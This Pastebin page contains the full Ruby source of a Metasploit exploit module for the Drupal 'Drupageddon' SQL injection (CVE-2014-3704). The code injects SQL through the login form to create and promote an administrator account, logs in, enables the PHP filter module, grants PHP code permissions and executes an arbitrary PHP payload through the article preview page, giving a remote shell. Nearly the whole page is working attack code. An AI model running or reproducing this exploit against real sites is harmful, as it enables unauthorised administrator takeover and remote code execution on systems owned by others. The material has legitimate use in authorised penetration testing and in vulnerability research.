Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- include Msf::Exploit::Remote::HttpClient
- def initialize(info={})
- super(update_info(info,
- 'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
- 'Description' => %q{
- This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
- (aka Drupageddon) in order to achieve a remote shell on the vulnerable
- instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
- in 7.32).
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'SektionEins', # discovery
- 'Christian Mehlmauer', # msf module
- 'Brandon Perry' # msf module
- ],
- 'References' =>
- [
- ['CVE', '2014-3704'],
- ['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
- ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
- ],
- 'Privileged' => false,
- 'Platform' => ['php'],
- 'Arch' => ARCH_PHP,
- 'Targets' => [['Drupal 7.0 - 7.31',{}]],
- 'DisclosureDate' => 'Oct 15 2014',
- 'DefaultTarget' => 0
- ))
- register_options(
- [
- OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
- ], self.class)
- register_advanced_options(
- [
- OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
- OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
- ], self.class)
- end
- def uri_path
- normalize_uri(target_uri.path)
- end
- def admin_role
- datastore['ADMIN_ROLE']
- end
- def iter
- datastore['ITER']
- end
- def itoa64
- './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
- end
- # PHPs PHPASS base64 method
- def phpass_encode64(input, count)
- out = ''
- cur = 0
- while cur < count
- value = input[cur].ord
- cur += 1
- out << itoa64[value & 0x3f]
- if cur < count
- value |= input[cur].ord << 8
- end
- out << itoa64[(value >> 6) & 0x3f]
- break if cur >= count
- cur += 1
- if cur < count
- value |= input[cur].ord << 16
- end
- out << itoa64[(value >> 12) & 0x3f]
- break if cur >= count
- cur += 1
- out << itoa64[(value >> 18) & 0x3f]
- end
- out
- end
- def generate_password_hash(pass)
- # Syntax for MD5:
- # $P$ = MD5
- # one char representing the hash iterations (min 7)
- # 8 chars salt
- # MD5_raw(salt.pass) + iterations
- # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
- iter_char = itoa64[iter]
- salt = Rex::Text.rand_text_alpha(8)
- md5 = Rex::Text.md5_raw("#{salt}#{pass}")
- # convert iter from log2 to integer
- iter_count = 2**iter
- 1.upto(iter_count) {
- md5 = Rex::Text.md5_raw("#{md5}#{pass}")
- }
- md5_base64 = phpass_encode64(md5, md5.length)
- md5_stripped = md5_base64[0...22]
- pass = "$P\\$" + iter_char + salt + md5_stripped
- vprint_debug("#{peer} - password hash: #{pass}")
- return pass
- end
- def sql_insert_user(user, pass)
- "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
- end
- def sql_make_user_admin(user)
- "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
- end
- def extract_form_ids(content)
- form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
- form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
- vprint_debug("#{peer} - form_build_id: #{form_build_id}")
- vprint_debug("#{peer} - form_token: #{form_token}")
- return form_build_id, form_token
- end
- def exploit
- # TODO: Check if option admin_role exists via admin/people/permissions/roles
- # call login page to extract tokens
- print_status("#{peer} - Testing page")
- res = send_request_cgi({
- 'uri' => uri_path,
- 'vars_get' => {
- 'q' => 'user/login'
- }
- })
- unless res and res.body
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- form_build_id, form_token = extract_form_ids(res.body)
- user = Rex::Text.rand_text_alpha(10)
- pass = Rex::Text.rand_text_alpha(10)
- post = {
- "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
- 'name[0]' => Rex::Text.rand_text_alpha(10),
- 'pass' => Rex::Text.rand_text_alpha(10),
- 'form_build_id' => form_build_id,
- 'form_id' => 'user_login',
- 'op' => 'Log in'
- }
- print_status("#{peer} - Creating new user #{user}:#{pass}")
- res = send_request_cgi({
- 'uri' => uri_path,
- 'method' => 'POST',
- 'vars_post' => post,
- 'vars_get' => {
- 'q' => 'user/login'
- }
- })
- unless res and res.body
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- # login
- print_status("#{peer} - Logging in as #{user}:#{pass}")
- res = send_request_cgi({
- 'uri' => uri_path,
- 'method' => 'POST',
- 'vars_post' => {
- 'name' => user,
- 'pass' => pass,
- 'form_build_id' => form_build_id,
- 'form_id' => 'user_login',
- 'op' => 'Log in'
- },
- 'vars_get' => {
- 'q' => 'user/login'
- }
- })
- unless res and res.code == 302
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- cookie = res.get_cookies
- vprint_debug("#{peer} - cookie: #{cookie}")
- # call admin interface to extract CSRF token and enabled modules
- print_status("#{peer} - Trying to parse enabled modules")
- res = send_request_cgi({
- 'uri' => uri_path,
- 'vars_get' => {
- 'q' => 'admin/modules'
- },
- 'cookie' => cookie
- })
- form_build_id, form_token = extract_form_ids(res.body)
- enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
- enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
- unless enabled_matches
- fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
- end
- post = {
- 'modules[Core][php][enable]' => '1',
- 'form_build_id' => form_build_id,
- 'form_token' => form_token,
- 'form_id' => 'system_modules',
- 'op' => 'Save configuration'
- }
- enabled_matches.each do |match|
- post[match.captures[0]] = '1'
- end
- # enable PHP filter
- print_status("#{peer} - Enabling the PHP filter module")
- res = send_request_cgi({
- 'uri' => uri_path,
- 'method' => 'POST',
- 'vars_post' => post,
- 'vars_get' => {
- 'q' => 'admin/modules/list/confirm'
- },
- 'cookie' => cookie
- })
- unless res and res.body
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- # Response: http 302, Location: http://10.211.55.50/?q=admin/modules
- print_status("#{peer} - Setting permissions for PHP filter module")
- # allow admin to use php_code
- res = send_request_cgi({
- 'uri' => uri_path,
- 'vars_get' => {
- 'q' => 'admin/people/permissions'
- },
- 'cookie' => cookie
- })
- unless res and res.body
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- form_build_id, form_token = extract_form_ids(res.body)
- perm_regex = /name="(.*)" value="(.*)" checked="checked"/
- enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
- unless enabled_perms
- fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
- end
- # get administrator role id
- id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
- vprint_debug("#{peer} - admin role id: #{id}")
- unless id
- fail_with(Failure::Unknown, "Could not parse out administrator ID")
- end
- post = {
- "#{id}[use text format php_code]" => 'use text format php_code',
- 'form_build_id' => form_build_id,
- 'form_token' => form_token,
- 'form_id' => 'user_admin_permissions',
- 'op' => 'Save permissions'
- }
- enabled_perms.each do |match|
- post[match.captures[0]] = match.captures[1]
- end
- res = send_request_cgi({
- 'uri' => uri_path,
- 'method' => 'POST',
- 'vars_post' => post,
- 'vars_get' => {
- 'q' => 'admin/people/permissions'
- },
- 'cookie' => cookie
- })
- unless res and res.body
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- # Add new Content page (extract csrf token)
- print_status("#{peer} - Getting tokens from create new article page")
- res = send_request_cgi({
- 'uri' => uri_path,
- 'vars_get' => {
- 'q' => 'node/add/article'
- },
- 'cookie' => cookie
- })
- unless res and res.body
- fail_with(Failure::Unknown, "No response or response body, bailing.")
- end
- form_build_id, form_token = extract_form_ids(res.body)
- # Preview to trigger the payload
- data = Rex::MIME::Message.new
- data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
- data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
- data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
- data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
- data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
- data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
- data.add_part('Preview', nil, nil, 'form-data; name="op"')
- data.add_part(user, nil, nil, 'form-data; name="name"')
- data.add_part('1', nil, nil, 'form-data; name="status"')
- data.add_part('1', nil, nil, 'form-data; name="promote"')
- post_data = data.to_s
- print_status("#{peer} - Calling preview page. Exploit should trigger...")
- send_request_cgi(
- 'method' => 'POST',
- 'uri' => uri_path,
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'data' => post_data,
- 'vars_get' => {
- 'q' => 'node/add/article'
- },
- 'cookie' => cookie
- )
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement